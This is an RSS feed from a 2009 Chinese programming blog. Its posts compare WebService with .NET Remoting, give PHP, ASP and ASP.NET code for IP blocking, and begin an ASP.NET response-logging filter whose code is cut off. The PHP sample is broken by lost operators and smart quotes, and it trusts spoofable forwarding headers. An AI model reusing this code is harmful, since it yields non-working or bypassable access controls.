<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>北风技术专栏</title>
	<atom:link href="http://column.ibeifeng.com/wp-feed.php/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://column.ibeifeng.com</link>
	<description>用技术点亮生活中每个亮点</description>
	<pubDate>Tue, 07 Apr 2009 09:38:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>简述WebS简述WebService与.NET Remoting的区别及适应场合</title>
		<link>http://column.ibeifeng.com/libin_8745/20090311290.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090311290.shtml#comments</comments>
		<pubDate>Wed, 11 Mar 2009 08:51:55 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=290</guid>
		<description><![CDATA[为了能清楚地描述Web Service 和Remoting之间的区别,我打算从他们的体系结构上来说起:
Web Service大体上分为5个层次:
1. Http传输信道
2. Xml的数据格式
3. SOAP封装格式
4. WSDL的描述方式
5. UDDI

总体上来讲，.Net 下的 Web Service结构比较简单，也比较容易理解和应用：
一般来讲在.Net结构下的WebService应用都是基于.Net framework以及IIS的架构之下，所以部署(Dispose)起来相对比较容易点.
从实现的角度来讲，
首先WebService必须把暴露给客户端的方法所在的类继承于：System.Web.Services.WebService这个基类
其次所暴露的方法前面必须有[WebMethod]或者[WebMethodAttribute]
WebService的运行机理
首先客户端从服务器的到WebService的WSDL，同时在客户端声称一个代理类(Proxy Class)
这个代理类负责与WebService服务器进行Request 和Response
当一个数据（Xml格式的）被封装成SOAP格式的数据流发送到服务器端的时候，就会生成一个进程对象并且把接收到这个Request的SOAP包进行解析，然后对事物进行处理，处理结束以后再对这个计算结果进行SOAP包装，然后把这个包作为一个Response发送给客户端的代理类(Proxy Class)，同样地，这个代理类也对这个SOAP包进行解析处理，继而进行后续操作。
这就是WebService的一个运行过程。
下面我们对.Net Remoting进行概括的阐述：
.Net Remoting 是在DCOM等基础上发展起来的一种技术，它的主要目的是实现跨平台、跨语言、穿透企业防火墙，这也是他的基本特点，与WebService有所不同的是，它支持HTTP以及TCP信道，而且它不仅能传输Xml格式的SOAP包，也可以传输传统意义上的二进制流，这使得它变得效率更高也更加灵活。而且它不依赖于IIS，用户可以自己开发(Development)并部署(Dispose)自己喜欢的宿主服务器，所以从这些方面上来讲WebService其实上是.Net Remoting的一种特例。
比较
再次我们对WebService 以及Remoting做一个比较
WebService的特点是：平台独立性（Platform-independent）、跨语言（只要能支持Xml的语言都可以） 以及穿透企业防火墙；.Net   webservice是基于http的是无状态的；
但是它的缺点也很明显，就是需要部署一台Web Server;而且速度比较慢；
.Net Remoting的特点是
他的优点是用户既可以使用TCP信道方式进行二进制流方式通信，也可以使用HTTP信道进行SOAP格式的性通信
效率相对WebService要高不少；
remoting可以用于有状态的情况；
但是它的缺点也很明显，.Net remoting只能应用于MS 的.Net framework之下。
使用场合
 如果互动双方都是支持   .Net技术的环境，并且在操作系统上能提供一致的验证机制，而且很重视沟通双方作业的效率，就是   .Net   Remoting上场的时机。相反的，如果沟通双方是异质环境，又或沟通的模式就是无状态的情况，持续进行的互动作业前后是没有关联的，Web   Service就是理想选择了。
以上文章转载自互联网
]]></description>
			<content:encoded><![CDATA[<p>为了能清楚地描述Web Service 和Remoting之间的区别,我打算从他们的体系结构上来说起:<br />
Web Service大体上分为5个层次:<br />
1. Http传输信道<br />
2. Xml的数据格式<br />
3. SOAP封装格式<br />
4. WSDL的描述方式<br />
5. UDDI</p>
<p><span id="more-290"></span></p>
<p>总体上来讲，.Net 下的 Web Service结构比较简单，也比较容易理解和应用：<br />
一般来讲在.Net结构下的WebService应用都是基于.Net framework以及IIS的架构之下，所以部署(Dispose)起来相对比较容易点.<br />
从实现的角度来讲，</p>
<p>首先WebService必须把暴露给客户端的方法所在的类继承于：System.Web.Services.WebService这个基类<br />
其次所暴露的方法前面必须有[WebMethod]或者[WebMethodAttribute]</p>
<p>WebService的运行机理<br />
首先客户端从服务器的到WebService的WSDL，同时在客户端声称一个代理类(Proxy Class)<br />
这个代理类负责与WebService服务器进行Request 和Response<br />
当一个数据（Xml格式的）被封装成SOAP格式的数据流发送到服务器端的时候，就会生成一个进程对象并且把接收到这个Request的SOAP包进行解析，然后对事物进行处理，处理结束以后再对这个计算结果进行SOAP包装，然后把这个包作为一个Response发送给客户端的代理类(Proxy Class)，同样地，这个代理类也对这个SOAP包进行解析处理，继而进行后续操作。</p>
<p>这就是WebService的一个运行过程。</p>
<p>下面我们对.Net Remoting进行概括的阐述：<br />
.Net Remoting 是在DCOM等基础上发展起来的一种技术，它的主要目的是实现跨平台、跨语言、穿透企业防火墙，这也是他的基本特点，与WebService有所不同的是，它支持HTTP以及TCP信道，而且它不仅能传输Xml格式的SOAP包，也可以传输传统意义上的二进制流，这使得它变得效率更高也更加灵活。而且它不依赖于IIS，用户可以自己开发(Development)并部署(Dispose)自己喜欢的宿主服务器，所以从这些方面上来讲WebService其实上是.Net Remoting的一种特例。</p>
<p>比较<br />
再次我们对WebService 以及Remoting做一个比较<br />
WebService的特点是：平台独立性（Platform-independent）、跨语言（只要能支持Xml的语言都可以） 以及穿透企业防火墙；.Net   webservice是基于http的是无状态的；<br />
但是它的缺点也很明显，就是需要部署一台Web Server;而且速度比较慢；</p>
<p>.Net Remoting的特点是<br />
他的优点是用户既可以使用TCP信道方式进行二进制流方式通信，也可以使用HTTP信道进行SOAP格式的性通信<br />
效率相对WebService要高不少；<br />
remoting可以用于有状态的情况；<br />
但是它的缺点也很明显，.Net remoting只能应用于MS 的.Net framework之下。</p>
<p>使用场合<br />
 如果互动双方都是支持   .Net技术的环境，并且在操作系统上能提供一致的验证机制，而且很重视沟通双方作业的效率，就是   .Net   Remoting上场的时机。相反的，如果沟通双方是异质环境，又或沟通的模式就是无状态的情况，持续进行的互动作业前后是没有关联的，Web   Service就是理想选择了。</p>
<p>以上文章转载自互联网</p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090311290.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>IP及IP段进行访问限制的代码</title>
		<link>http://column.ibeifeng.com/libin_8745/20090226282.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090226282.shtml#comments</comments>
		<pubDate>Thu, 26 Feb 2009 07:10:59 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=282</guid>
		<description><![CDATA[192.168.1.1 单个IP
192.168.1.* 这样代理 192.168.1.1-192.168.1-255
192.158.1.2-20 这样是代表192.158.1.2-192.158.1.20
也可以这样写 192.168.1.[1&#124;2&#124;3]
嘿嘿～一个方法不知道想法是否周全，拿出来大家讨论
使用
以下是引用片段：
$oBlock_ip = new block_ip();
$oBlock_ip-&#62;checkIP();
以下是引用片段：

&#60;?php
class block_ip {
var $Block_ip = array(&#8221;192.168.1.1&#8243;,&#8221;210.10.2.1-20&#8243;,&#8221;222.34.4.*&#8221;);
function __construct(){
}
function __destruct(){
}
private function makePregIP($str){
if (strstr($str,&#8221;-&#8221;)) {
$aIP = explode(&#8221;.&#8221;,$str);
foreach ($aIP as $k=&#62;$v) {
if (!strstr($v,&#8221;-&#8221;)) {
$preg_limit .= makePregIP($v);
} else{
$aipNum = explode(&#8221;-&#8221;,$v);
for($i=$aipNum[0];$i&#60;=$aipNum[1];$i ){
$preg .=$preg?&#8221;&#124;&#8221;.$i:&#8221;[".$i;
}
$preg_limit .=strrpos($preg_limit,".",1)==(strlen($preg_limit)-1)?$preg."]&#8220;:&#8221;.&#8221;.$preg.&#8221;]&#8221;;
}
}
}else{
$preg_limit .= $str.&#8221;.&#8221;;
}
return $preg_limit;
}
private function getAllBlockIP(){
if ($this-&#62;Block_ip) {
foreach ($this-&#62;Block_ip as $k=&#62;$v) {
$ipaddres = $this-&#62;makePregIP($v-&#62;start_ip);
$ip = str_ireplace(&#8221;.&#8221;,&#8221;\.&#8221;,$ipaddres);
$ip = str_replace(&#8221;*&#8221;,&#8221;[0-9]{1,3}&#8221;,$ip);
$ipaddres = &#8220;/&#8221;.$ip.&#8221;/&#8221;;
$ip_list[] [...]]]></description>
			<content:encoded><![CDATA[<p>192.168.1.1 单个IP<br />
192.168.1.* 这样代理 192.168.1.1-192.168.1-255<br />
192.158.1.2-20 这样是代表192.158.1.2-192.158.1.20<br />
也可以这样写 192.168.1.[1|2|3]<br />
嘿嘿～一个方法不知道想法是否周全，拿出来大家讨论<br />
使用<br />
以下是引用片段：<br />
$oBlock_ip = new block_ip();<br />
$oBlock_ip-&gt;checkIP();<br />
以下是引用片段：</p>
<p><span id="more-282"></span></p>
<p>&lt;?php<br />
class block_ip {<br />
var $Block_ip = array(&#8221;192.168.1.1&#8243;,&#8221;210.10.2.1-20&#8243;,&#8221;222.34.4.*&#8221;);<br />
function __construct(){<br />
}<br />
function __destruct(){<br />
}<br />
private function makePregIP($str){<br />
if (strstr($str,&#8221;-&#8221;)) {<br />
$aIP = explode(&#8221;.&#8221;,$str);<br />
foreach ($aIP as $k=&gt;$v) {<br />
if (!strstr($v,&#8221;-&#8221;)) {<br />
$preg_limit .= makePregIP($v);<br />
} else{<br />
$aipNum = explode(&#8221;-&#8221;,$v);<br />
for($i=$aipNum[0];$i&lt;=$aipNum[1];$i ){<br />
$preg .=$preg?&#8221;|&#8221;.$i:&#8221;[".$i;<br />
}<br />
$preg_limit .=strrpos($preg_limit,".",1)==(strlen($preg_limit)-1)?$preg."]&#8220;:&#8221;.&#8221;.$preg.&#8221;]&#8221;;<br />
}<br />
}<br />
}else{<br />
$preg_limit .= $str.&#8221;.&#8221;;<br />
}<br />
return $preg_limit;<br />
}<br />
private function getAllBlockIP(){<br />
if ($this-&gt;Block_ip) {<br />
foreach ($this-&gt;Block_ip as $k=&gt;$v) {<br />
$ipaddres = $this-&gt;makePregIP($v-&gt;start_ip);<br />
$ip = str_ireplace(&#8221;.&#8221;,&#8221;\.&#8221;,$ipaddres);<br />
$ip = str_replace(&#8221;*&#8221;,&#8221;[0-9]{1,3}&#8221;,$ip);<br />
$ipaddres = &#8220;/&#8221;.$ip.&#8221;/&#8221;;<br />
$ip_list[] = $ipaddres;<br />
}<br />
}<br />
return $ip_list;<br />
}<br />
public function checkIP() {<br />
$iptable = $this-&gt;getAllBlockIP();<br />
$IsJoined = true;<br />
//取得用户ip<br />
$Ip = $this-&gt;get_client_ip();<br />
$Ip = trim($Ip);<br />
//剔除黑名单中的IP区段<br />
if ($iptable) {<br />
foreach($iptable as $value) {<br />
if (preg_match(&#8221;{$value}&#8221;,$Ip)) {<br />
$IsJoined = false;<br />
break;<br />
}<br />
}<br />
}<br />
//如果在ip黑名单中就执行如下操作<br />
if( !$IsJoined ){<br />
echo &#8220;IP Error&#8221;;<br />
exit;<br />
}<br />
}<br />
private function get_client_ip(){<br />
if (getenv(&#8221;HTTP_CLIENT_IP&#8221;) &amp;&amp; strcasecmp(getenv(&#8221;HTTP_CLIENT_IP&#8221;), &#8220;unknown&#8221;))<br />
$ip = getenv(&#8221;HTTP_CLIENT_IP&#8221;);<br />
else if (getenv(&#8221;HTTP_X_FORWARDED_FOR&#8221;) &amp;&amp; strcasecmp(getenv(&#8221;HTTP_X_FORWARDED_FOR&#8221;), &#8220;unknown&#8221;))<br />
$ip = getenv(&#8221;HTTP_X_FORWARDED_FOR&#8221;);<br />
else if (getenv(&#8221;REMOTE_ADDR&#8221;) &amp;&amp; strcasecmp(getenv(&#8221;REMOTE_ADDR&#8221;), &#8220;unknown&#8221;))<br />
$ip = getenv(&#8221;REMOTE_ADDR&#8221;);<br />
else if (isset($_SERVER['REMOTE_ADDR']) &amp;&amp; $_SERVER['REMOTE_ADDR'] &amp;&amp; strcasecmp($_SERVER['REMOTE_ADDR'], &#8220;unknown&#8221;))<br />
$ip = $_SERVER['REMOTE_ADDR'];<br />
else<br />
$ip = &#8220;unknown&#8221;;<br />
return($ip);<br />
}<br />
}<br />
?&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090226282.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>Asp.net的IP地址屏蔽功能设计</title>
		<link>http://column.ibeifeng.com/libin_8745/20090226280.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090226280.shtml#comments</comments>
		<pubDate>Thu, 26 Feb 2009 07:09:35 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=280</guid>
		<description><![CDATA[“IP地址的长度为32位，分为4段，每段8位，用十进制数字表示，每段数字范围为0～255，段与段之间用句点隔开。”
 
由此我们了解到，IP地址实际上是一个32位正整数，在C#中可以使用uint类型来表示，但SQLServer数据库里好像没有对应的类型；转而使用数据库支持的int类型的话，则会出现溢出的情况；因此我们做出妥协：使用long(bigint)类型。
 
TIP:
int取值范围：-2,147,483,648 到 2,147,483,647
uint取值范围：0 到 4,294,967,295
long取值范围：-9,223,372,036,854,775,808 到 9,223,372,036,854,775,807
 
那么如何将IP地址转为整数呢？我们看到IPAddress类中有一个“[否决的]”实例属性Address，这个属性的确可以返回一个long值，但是测试一下，得到的数据确实这样的：
“127.0.0.1” -&#62; 16777343
“127.0.0.2” –&#62; 33554559
的确该让它“否决”，这样的整数对我们来说毫无意义，我们是无法通过这样的方法比较传入的IP是否介于两个IP值之间的。
那么只有自己动手了，我们将通过IPAddress类的GetAddressBytes()实例方法获取IP的4个段的值，然后将它们组合为一个整数，下面将提供这个扩展方法：
/// &#60;summary&#62;
/// 将IP地址转为整数形式
/// &#60;/summary&#62;
/// &#60;returns&#62;整数&#60;/returns&#62;
public static long 转换为整数(this IPAddress ip)
{
    int x = 3;
    long o = 0;
    foreach (byte f in ip.GetAddressBytes())
    {
        o += (long)f &#60;&#60; 8 * x&#8211;;
    }
    return o;
}
你可以这样使用这个扩展方法：
IPAddress.Parse(&#8221;127.0.0.1&#8243;).转换为整数()
这里还有一个用于逆转换的扩展方法，用于将long转回IPAddress：
/// &#60;summary&#62;
/// 将整数转为IP地址
/// &#60;/summary&#62;
/// &#60;returns&#62;IP地址&#60;/returns&#62;
public static IPAddress 转换为IP地址(this long l)
{
    var b [...]]]></description>
			<content:encoded><![CDATA[<p>“IP地址的长度为32位，分为4段，每段8位，用十进制数字表示，每段数字范围为0～255，段与段之间用句点隔开。”</p>
<p> </p>
<p>由此我们了解到，IP地址实际上是一个32位正整数，在C#中可以使用uint类型来表示，但SQLServer数据库里好像没有对应的类型；转而使用数据库支持的int类型的话，则会出现溢出的情况；因此我们做出妥协：使用long(bigint)类型。</p>
<p> <span id="more-280"></span></p>
<p>TIP:</p>
<p>int取值范围：-2,147,483,648 到 2,147,483,647</p>
<p>uint取值范围：0 到 4,294,967,295</p>
<p>long取值范围：-9,223,372,036,854,775,808 到 9,223,372,036,854,775,807</p>
<p> </p>
<p>那么如何将IP地址转为整数呢？我们看到IPAddress类中有一个“[否决的]”实例属性Address，这个属性的确可以返回一个long值，但是测试一下，得到的数据确实这样的：</p>
<p>“127.0.0.1” -&gt; 16777343</p>
<p>“127.0.0.2” –&gt; 33554559</p>
<p>的确该让它“否决”，这样的整数对我们来说毫无意义，我们是无法通过这样的方法比较传入的IP是否介于两个IP值之间的。</p>
<p>那么只有自己动手了，我们将通过IPAddress类的GetAddressBytes()实例方法获取IP的4个段的值，然后将它们组合为一个整数，下面将提供这个扩展方法：</p>
<p>/// &lt;summary&gt;</p>
<p>/// 将IP地址转为整数形式</p>
<p>/// &lt;/summary&gt;</p>
<p>/// &lt;returns&gt;整数&lt;/returns&gt;</p>
<p>public static long 转换为整数(this IPAddress ip)</p>
<p>{</p>
<p>    int x = 3;</p>
<p>    long o = 0;</p>
<p>    foreach (byte f in ip.GetAddressBytes())</p>
<p>    {</p>
<p>        o += (long)f &lt;&lt; 8 * x&#8211;;</p>
<p>    }</p>
<p>    return o;</p>
<p>}</p>
<p>你可以这样使用这个扩展方法：</p>
<p>IPAddress.Parse(&#8221;127.0.0.1&#8243;).转换为整数()</p>
<p>这里还有一个用于逆转换的扩展方法，用于将long转回IPAddress：</p>
<p>/// &lt;summary&gt;</p>
<p>/// 将整数转为IP地址</p>
<p>/// &lt;/summary&gt;</p>
<p>/// &lt;returns&gt;IP地址&lt;/returns&gt;</p>
<p>public static IPAddress 转换为IP地址(this long l)</p>
<p>{</p>
<p>    var b = new byte[4];</p>
<p>    for (int i = 0; i &lt; 4; i++)</p>
<p>    {</p>
<p>        b[3 - i] = (byte)(l &gt;&gt; 8 * i &amp; 255);</p>
<p>    }</p>
<p>    return new IPAddress(b);</p>
<p>}</p>
<p>这样我们就可以通过计算得到正确并有意义的整数了：</p>
<p>“127.0.0.1” -&gt; 2130706433</p>
<p>“127.0.0.2” –&gt; 2130706434</p>
<p>OK，确立了方案核心，下面开始设计SQLServer数据表：</p>
<p> </p>
<p>这样设计后，在添加时将起始和终止IP地址转为long类型并存入，并指定一个过期时间。</p>
<p>在验证时只需要获取所有未过期的条目，比较传入的IP地址是否介于起始值和终止值之间即可。</p>
<p>以往通过字符串存储和验证的方案中，屏蔽时要么屏蔽一个精确的IP地址，要么就屏蔽一段或两段IP，如“192.168.*.*”，要想屏蔽“192.168.1.200”到“192.168.4.64”之间的IP的话，将会非常麻烦；</p>
<p>而我们这样设计就可以轻松实现：“192.168.1.200”在数据库里存储的是“3232235976”，“192.168.4.64”在数据库中是“3232236608”，即使使用肉眼也能极快地判断传入的地址是否介于它们之间，更不要说计算机查询了。</p>
<p>下面为数据表生成EDM模型：</p>
<p> <br />
添加IP屏蔽记录的代码：</p>
<p>/// &lt;summary&gt;</p>
<p>/// 添加一个新的IP屏蔽区段</p>
<p>/// &lt;/summary&gt;</p>
<p>/// &lt;param name=&#8221;IP区段起始值&#8221;&gt;起始IP，如61.51.200.0&lt;/param&gt;</p>
<p>/// &lt;param name=&#8221;IP区段终止值&#8221;&gt;终止IP，如61.51.255.255&lt;/param&gt;</p>
<p>/// &lt;param name=&#8221;过期时间&#8221;&gt;屏蔽截止时间&lt;/param&gt;</p>
<p>/// &lt;returns&gt;ID号&lt;/returns&gt;</p>
<p>public static Guid 添加(string IP区段起始值, string IP区段终止值, DateTime 过期时间)</p>
<p>{</p>
<p>    var id = Guid.NewGuid();</p>
<p>    var sip = IPAddress.Parse(IP区段起始值).转换为整数();</p>
<p>    var eip = IPAddress.Parse(IP区段终止值).转换为整数();</p>
<p>    using (var c = new SiteMainEntities())</p>
<p>    {</p>
<p>        //检测是否已存在相同的IP屏蔽记录</p>
<p>        var a = c.IP地址屏蔽.Where(f =&gt; f.区段起始值 == sip &amp;&amp; f.区段终止值 == eip);</p>
<p>        //如果存在则更新其过期时间</p>
<p>        if (a.Count()&gt;0)</p>
<p>        {</p>
<p>            var l = a.First();</p>
<p>            if (l.过期时间 &lt; 过期时间) l.过期时间 = 过期时间;</p>
<p>        }</p>
<p>        //不存在则正常添加一个新的屏蔽记录</p>
<p>        else c.AddToIP地址屏蔽(new IP地址屏蔽 { ID = id, 过期时间 = 过期时间, 区段起始值 = sip, 区段终止值 = eip });</p>
<p>        c.SaveChanges();</p>
<p>    }</p>
<p>    return id;</p>
<p>}</p>
<p>检测指定IP地址是否被屏蔽的代码：</p>
<p>/// &lt;summary&gt;</p>
<p>/// 检测指定IP地址是否已受到屏蔽</p>
<p>/// &lt;/summary&gt;</p>
<p>/// &lt;param name=&#8221;IP地址&#8221;&gt;要检测的IP地址&lt;/param&gt;</p>
<p>/// &lt;returns&gt;是否属于已屏蔽的IP&lt;/returns&gt;</p>
<p>public static bool 检测是否被屏蔽(string IP地址)</p>
<p>{</p>
<p>    var ip = IPAddress.Parse(IP地址).转换为整数();</p>
<p>    using (var c = new SiteMainEntities())</p>
<p>    {</p>
<p>        return c.IP地址屏蔽.Count(f =&gt; f.过期时间 &gt; DateTime.Now &amp;&amp; ip &gt;= f.区段起始值 &amp;&amp; ip &lt;= f.区段终止值) &gt; 0;</p>
<p>    }</p>
<p>}</p>
<p>这种方案比起以往的字符串验证方案来说优雅了许多，并可以提高数据库查询的效率，建议各位在日后的网站开发中都采用此方案。</p>
<p>下载本文的PDF版本：<a href="http://www.box.net/shared/73kuz2bohe">http://www.box.net/shared/73kuz2bohe</a></p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090226280.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>asp中对ip进行过滤限制函数</title>
		<link>http://column.ibeifeng.com/libin_8745/20090226278.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090226278.shtml#comments</comments>
		<pubDate>Thu, 26 Feb 2009 07:08:54 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=278</guid>
		<description><![CDATA[&#60;%
’获取访问者的地址
ip=Request.ServerVariables(&#8221;REMOTE_ADDR&#8221;) 
’允许的IP地址段为10.0.0.0～10.68.63.255
allowip1=&#8221;10.0.0.0&#8243;
allowip2=&#8221;10.68.10.71&#8243;
response.write checkip(ip,allowip1,allowip2)
function checkip(ip,allowip1,allowip2)
dim check(4)
checkip=false
ipstr=split(ip,&#8221;.&#8221;)
allow1=split(allowip1,&#8221;.&#8221;)
allow2=split(allowip2,&#8221;.&#8221;)
if cint(allow1(0))&#62;cint(allow2(0)) then ’判断IP地址段是否合法
response.write &#8220;IP地址段出错！&#8221;
 

exit function
end if
for i=0 to ubound(ipstr)
if cint(allow1(i))&#60;cint(allow2(i)) then
if cint(allow1(i))=cint(ipstr(i)) then
check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))&#60;cint(allow2(i)) then
check(i)=true
checkip=true
exit for
else
if cint(ipstr(i))&#62;cint(allow2(i)) then
check(i)=false
checkip=false
exit for
else
check(i)=true
checkip=true
end if
end if
end if
else
if cint(allow1(i))&#62;cint(ipstr(i)) or cint(allow1(i))&#60;cint(ipstr(i)) then
check(i)=false
checkip=false
if i&#60;&#62;ubound(ipstr) then
exit for
end if
else
check(i)=true
end if
end if
next
if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))&#62;cint(ipstr(2))) then
checkip=true
end if
end function
%&#62;

]]></description>
			<content:encoded><![CDATA[<p>&lt;%<br />
’获取访问者的地址<br />
ip=Request.ServerVariables(&#8221;REMOTE_ADDR&#8221;) <br />
’允许的IP地址段为10.0.0.0～10.68.63.255<br />
allowip1=&#8221;10.0.0.0&#8243;<br />
allowip2=&#8221;10.68.10.71&#8243;<br />
response.write checkip(ip,allowip1,allowip2)</p>
<p>function checkip(ip,allowip1,allowip2)<br />
dim check(4)<br />
checkip=false<br />
ipstr=split(ip,&#8221;.&#8221;)<br />
allow1=split(allowip1,&#8221;.&#8221;)<br />
allow2=split(allowip2,&#8221;.&#8221;)<br />
if cint(allow1(0))&gt;cint(allow2(0)) then ’判断IP地址段是否合法<br />
response.write &#8220;IP地址段出错！&#8221;</p>
<p> </p>
<p><span id="more-278"></span><br />
exit function<br />
end if<br />
for i=0 to ubound(ipstr)<br />
if cint(allow1(i))&lt;cint(allow2(i)) then<br />
if cint(allow1(i))=cint(ipstr(i)) then<br />
check(i)=true<br />
checkip=true<br />
exit for<br />
else<br />
if cint(ipstr(i))&lt;cint(allow2(i)) then<br />
check(i)=true<br />
checkip=true<br />
exit for<br />
else<br />
if cint(ipstr(i))&gt;cint(allow2(i)) then<br />
check(i)=false<br />
checkip=false<br />
exit for<br />
else<br />
check(i)=true<br />
checkip=true<br />
end if<br />
end if<br />
end if<br />
else<br />
if cint(allow1(i))&gt;cint(ipstr(i)) or cint(allow1(i))&lt;cint(ipstr(i)) then<br />
check(i)=false<br />
checkip=false<br />
if i&lt;&gt;ubound(ipstr) then<br />
exit for<br />
end if<br />
else<br />
check(i)=true<br />
end if<br />
end if<br />
next<br />
if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))&gt;cint(ipstr(2))) then<br />
checkip=true<br />
end if<br />
end function<br />
%&gt;</p>
<p><a href="http://www.dezai.cn/article_show.asp?ArticleID=9457"></a></p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090226278.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>Asp.net2.0 中自定义过滤器对Response内容进行处理</title>
		<link>http://column.ibeifeng.com/libin_8745/20090226276.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090226276.shtml#comments</comments>
		<pubDate>Thu, 26 Feb 2009 07:07:11 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[.Net]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=276</guid>
		<description><![CDATA[在Module中使用自定义过滤器，来统一对站内所有请求响应的输出内容进行采集或更改。 因项目需要，对每一个访问网站的请求要做原始数据记录，其中要包括几个要素：
1.客户端的IP
2.客户端请求的页面路径
3.客户端发出的请求头
4.服务器返回的正文内容。
在代码设计前分析了一下，前三个都很好解决，对于截获服务器返回的正文，准备用HttpResponse 对象中的Output 和 OutputStream 属性输出信息来解决。
可是在正式编码的过程中，发现Output和OutputStream 并不是想像中可以直接把数据转出取回，耗费了近两天的时间，想尽了一切办法可还是仅仅可以追加内容并无法读取。
在网上查阅到，对于HttpResponse 对象，仅仅可以使用过滤器来对其中将要输出的内容进行修改。
这个过滤器要继承自Stream 类，并要实现其中的虚方法。看来之前企图使用HttpWriter,TextWriter,Stream,HttpStream 这些类来转出数据完全是错误的。

现在有信心来截获服务器返回内容了，说干就干吧！
1.首先要建立一个简易过滤器。
代码如下：
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
using System.IO;
using System.Web;
    /**//// &#60;summary&#62;
    /// 定义原始数据EventArgs,便于在截获完整数据后，由事件传递数据
    /// &#60;/summary&#62;
    public class RawDataEventArgs : EventArgs
    {
        private string sourceCode;
        public RawDataEventArgs(string SourceCode)
        {
            sourceCode = SourceCode;
        }
        public string SourceCode
        {
            get { return sourceCode; }
            set { sourceCode = value; }
        }
    [...]]]></description>
			<content:encoded><![CDATA[<p>在Module中使用自定义过滤器，来统一对站内所有请求响应的输出内容进行采集或更改。 因项目需要，对每一个访问网站的请求要做原始数据记录，其中要包括几个要素：<br />
1.客户端的IP<br />
2.客户端请求的页面路径<br />
3.客户端发出的请求头<br />
4.服务器返回的正文内容。</p>
<p>在代码设计前分析了一下，前三个都很好解决，对于截获服务器返回的正文，准备用HttpResponse 对象中的Output 和 OutputStream 属性输出信息来解决。</p>
<p>可是在正式编码的过程中，发现Output和OutputStream 并不是想像中可以直接把数据转出取回，耗费了近两天的时间，想尽了一切办法可还是仅仅可以追加内容并无法读取。</p>
<p>在网上查阅到，对于HttpResponse 对象，仅仅可以使用过滤器来对其中将要输出的内容进行修改。<br />
这个过滤器要继承自Stream 类，并要实现其中的虚方法。看来之前企图使用HttpWriter,TextWriter,Stream,HttpStream 这些类来转出数据完全是错误的。</p>
<p><span id="more-276"></span></p>
<p>现在有信心来截获服务器返回内容了，说干就干吧！</p>
<p>1.首先要建立一个简易过滤器。<br />
代码如下：<br />
using System;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
using System.Text.RegularExpressions;<br />
using System.IO;<br />
using System.Web;</p>
<p>    /**//// &lt;summary&gt;<br />
    /// 定义原始数据EventArgs,便于在截获完整数据后，由事件传递数据<br />
    /// &lt;/summary&gt;<br />
    public class RawDataEventArgs : EventArgs<br />
    {<br />
        private string sourceCode;</p>
<p>        public RawDataEventArgs(string SourceCode)<br />
        {<br />
            sourceCode = SourceCode;<br />
        }<br />
        public string SourceCode<br />
        {<br />
            get { return sourceCode; }<br />
            set { sourceCode = value; }<br />
        }<br />
    }</p>
<p>//自定义过滤器<br />
    public class RawFilter : Stream<br />
    {</p>
<p>        Stream responseStream;<br />
        long position;<br />
        StringBuilder responseHtml;</p>
<p>        /**//// &lt;summary&gt;<br />
        /// 当原始数据采集成功后激发。<br />
        /// &lt;/summary&gt;<br />
        public event EventHandler&lt;RawDataEventArgs&gt; OnRawDataRecordedEvent;</p>
<p>        public RawFilter(Stream inputStream)<br />
        {<br />
            responseStream = inputStream;<br />
            responseHtml = new StringBuilder();<br />
        }</p>
<p>//实现Stream 虚方法<br />
        Filter Overrides#region Filter Overrides</p>
<p>        public override bool CanRead<br />
        {<br />
            get<br />
            {<br />
                return true;<br />
            }<br />
        }</p>
<p>        public override bool CanSeek<br />
        {<br />
            get<br />
            {<br />
                return true;<br />
            }<br />
        }</p>
<p>        public override bool CanWrite<br />
        {<br />
            get<br />
            {<br />
                return true;<br />
            }<br />
        }<br />
        public override void Close()<br />
        {<br />
            responseStream.Close();<br />
        }</p>
<p>        public override void Flush()<br />
        {<br />
            responseStream.Flush();<br />
        }</p>
<p>        public override long Length<br />
        {<br />
            get<br />
            {<br />
                return 0;<br />
            }<br />
        }</p>
<p>        public override long Position<br />
        {<br />
            get<br />
            {<br />
                return position;<br />
            }<br />
            set<br />
            {<br />
                position = value;<br />
            }<br />
        }</p>
<p>        public override int Read(byte[] buffer, int offset, int count)<br />
        {<br />
            return responseStream.Read(buffer, offset, count);<br />
        }</p>
<p>        public override long Seek(long offset, SeekOrigin origin)<br />
        {<br />
